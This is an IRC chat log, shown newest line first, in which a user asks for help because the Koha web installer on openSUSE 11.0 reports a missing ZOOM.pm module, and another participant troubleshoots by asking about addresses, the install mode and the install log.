12:25 marijana    http://pastebin.ca/1496969
12:25 marijana    I will putr it on pastebin
12:24 ebegin      marijana, ok, something went wrong during the install.  Do you have the full install log?
12:23 marijana    should I do force install?
12:23 marijana    http://pastebin.ca/1496967
12:22 ebegin      did you got any error when you installed ZOOM?
12:20 marijana    http://pastebin.ca/1496966
12:18 marijana    I am repeating now in cpan to install ZOOM, waiting for final output
12:18 ebegin      marijana, ok.  that is a great start.
12:17 marijana    when I type: 10.0.2.15:8080 I got message that it cannot find ZOOM.pm
12:17 ebegin      Oh, that is something else.  There was a thread on that lately.  If you google on "Koha ZOOM", you should find something helpful.
12:17 marijana    ebegin: I found out that my Ip is 10.0.2.15
12:16 marijana    when I type my address now it says that it cannot find ZOOM.pm
12:16 marijana    Amit: hi
12:15 ebegin      alright.  Is 192.168.0.2 is your local machine?
12:15 Amit        hi marijana
12:14 ebegin      So it works... :) kidding
12:14 marijana    I got: It works!
12:12 ebegin      what do you get when you type 127.0.0.1:8080?
12:12 ebegin      Did you use the Standard install mode?
12:10 marijana    ebegin: when I type 192.168.0.2:8080 I got only bkank page. when I type 127.0.0.1 I got: It works!
12:09 ebegin      descript = describe
12:09 ebegin      marijana, can you descript what you get when you connect to your address?
12:08 marijana    hello, I installe Koha accoridng instructions on opensuse 11.0. I caqnnot start web installer. hmm. where may be an issue?
12:08 ebegin      see you later chris...
12:07 Amit        good night chris
12:07 chris       ok i should get some sleep
12:03 Amit        bye lupin
12:03 chris       by |Lupin|
12:03 ebegin      bye |Lupin|
12:03 |Lupin|     bye everybody
12:03 |Lupin|     have to run